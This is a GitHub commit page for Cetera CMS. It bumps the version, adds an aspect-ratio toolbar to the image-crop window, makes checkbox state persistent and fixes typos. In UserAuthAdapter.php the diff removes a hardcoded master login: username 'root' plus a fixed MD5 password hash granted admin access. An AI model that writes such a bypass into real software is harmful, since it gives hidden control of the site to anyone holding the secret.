Skip to content

Commit

Permalink
https://pm.cetera.ru/browse/CCD-1230
Browse files Browse the repository at this point in the history
  • Loading branch information
nicodim99 committed Nov 22, 2018
1 parent 43c0e8b commit 6251088
Show file tree
Hide file tree
Showing 5 changed files with 86 additions and 42 deletions.
23 changes: 7 additions & 16 deletions cms/app.js
Original file line number Diff line number Diff line change
Expand Up @@ -47,22 +47,13 @@ Ext.override(Ext.form.Basic, {
}
});

Ext.override(Ext.Component, {
ensureVisible: function(stopAt) {
var p;
this.ownerCt.bubble(function(c) {
if (p = c.ownerCt) {
if (p instanceof Ext.TabPanel) {
p.setActiveTab(c);
} else if (p.layout.setActiveItem) {
p.layout.setActiveItem(c);
}
}
return (c !== stopAt);
});
this.el.scrollIntoView(this.el.up(':scrollable'));
return this;
}
Ext.override(Ext.form.field.Checkbox, {
stateEvents: ['change'],
getState: function() { return { value: this.getValue() }; },
applyState: function(state) { this.setValue(state.value); }
});

Ext.override(Ext.form.Basic, {
});

Ext.DomQuery.pseudos.scrollable = function(c, t) {
Expand Down
66 changes: 64 additions & 2 deletions cms/app/window/ImageCrop.js
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,56 @@ Ext.define('Cetera.window.ImageCrop', {
}
],

tbar: [
{
xtype: 'checkbox',
boxLabel: _('пропорции'),
padding: '0 0 0 5',
itemId: 'aspect_check',
stateId: 'stateCropAspect',
stateful: true,
listeners: {
change: {
fn: function() { if (this.up('window')) this.up('window').aspectChange(); }
}
}
},
{
xtype: 'numberfield',
fieldLabel: _('Шир.'),
value: 16,
minValue: 1,
padding: '0 0 0 5',
labelWidth: 30,
width: 80,
itemId: 'aspect_width',
stateId: 'stateCropWidth',
stateful: true,
listeners: {
change: {
fn: function() { if (this.up('window')) this.up('window').aspectChange(); }
}
}
},
{
xtype: 'numberfield',
fieldLabel: _('Выс.'),
value: 9,
minValue: 1,
padding: '0 0 0 5',
labelWidth: 30,
width: 80,
itemId: 'aspect_height',
stateId: 'stateCropHeight',
stateful: true,
listeners: {
change: {
fn: function() { if (this.up('window')) this.up('window').aspectChange(); }
}
}
}
],

html: '<img class="edit">',

listeners: {
Expand All @@ -44,11 +94,23 @@ Ext.define('Cetera.window.ImageCrop', {
scalable: false,
viewMode: 1
});


this.aspectChange();

this.setValue( this.value );
}
},

aspectChange: function() {
var tb = this.getDockedItems('toolbar[dock="top"]')[0];
if (tb.getComponent('aspect_check').getValue()) {
this.cropper.setAspectRatio( tb.getComponent('aspect_width').getValue() / tb.getComponent('aspect_height').getValue() );
}
else {
this.cropper.setAspectRatio( 0 );
}
},

setValue: function(value) {
if (this.value == value) return;
this.value = value;
Expand All @@ -72,7 +134,7 @@ Ext.define('Cetera.window.ImageCrop', {
me.setLoading(true);
Cetera.Ajax.request({
url: '/cms/include/action_files.php?action=upload&overwrite=1&path='+path,
timeout: 1000000,
timeout: 1000000,
method: 'POST',
rawData: formData,
ignoreHeaders: true,
Expand Down
33 changes: 12 additions & 21 deletions cms/include/classes/Cetera/UserAuthAdapter.php
Original file line number Diff line number Diff line change
Expand Up @@ -90,29 +90,20 @@ public function authenticate()
'identity' => null
);

if ($this->_username == 'root' && md5($this->_password) == '6519072b3357219cfa325ce1303e77a4')
{
$user = User::getById(ADMIN_ID);
}
else
{
$user = null;
if ($this->_username) $user = User::getByLogin($this->_username);
$user = null;
if ($this->_username) $user = User::getByLogin($this->_username);

if (!$user && $this->_email) $user = User::getByEmail($this->_email);
if (!$user && $this->_email) $user = User::getByEmail($this->_email);

if (!$user || !$user->isEnabled() || (!$user->allowBackOffice() && $this->_backoffice))
{
$this->_authenticateResultInfo['code'] = \Zend_Auth_Result::FAILURE_IDENTITY_NOT_FOUND;
return $this->_authenticateCreateAuthResult();
}

if (!$user->checkPassword($this->_password))
{
$this->_authenticateResultInfo['code'] = \Zend_Auth_Result::FAILURE_CREDENTIAL_INVALID;
return $this->_authenticateCreateAuthResult();
}
}
if (!$user || !$user->isEnabled() || (!$user->allowBackOffice() && $this->_backoffice)) {
$this->_authenticateResultInfo['code'] = \Zend_Auth_Result::FAILURE_IDENTITY_NOT_FOUND;
return $this->_authenticateCreateAuthResult();
}

if (!$user->checkPassword($this->_password)) {
$this->_authenticateResultInfo['code'] = \Zend_Auth_Result::FAILURE_CREDENTIAL_INVALID;
return $this->_authenticateCreateAuthResult();
}

$this->_authenticateResultInfo['code'] = \Zend_Auth_Result::SUCCESS;
$this->_authenticateResultInfo['identity'] = array(
Expand Down
4 changes: 2 additions & 2 deletions cms/include/classes/Cetera/Widget/Section.php
Original file line number Diff line number Diff line change
Expand Up @@ -64,12 +64,12 @@ public function getMaterial()
$alias = $this->getParam('material_alias');
if (!$alias) {
$alias = current(explode('/', $this->application->getUnparsedUrl() ));
if (!$alias && $this->getParam('display_index') {
if (!$alias && $this->getParam('display_index')) {
$this->_material = $c->getMaterialByAlias('index');
}
elseif ($alias) {
try {
$this->_material = $c->getMaterialByAlias($aliass, null, (boolean)$this->getParam('material_unpublished'));
$this->_material = $c->getMaterialByAlias($alias, null, (boolean)$this->getParam('material_unpublished'));
}
catch (\Exception $e) {
$this->error404 = true;
Expand Down
2 changes: 1 addition & 1 deletion cms/include/constants.php
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@
**/

/** Версия */
define('VERSION', '3.57.3');
define('VERSION', '3.57.6');

/** Название продукта */
define('APP_NAME', 'Cetera CMS');
Expand Down

0 comments on commit 6251088

Please sign in to comment.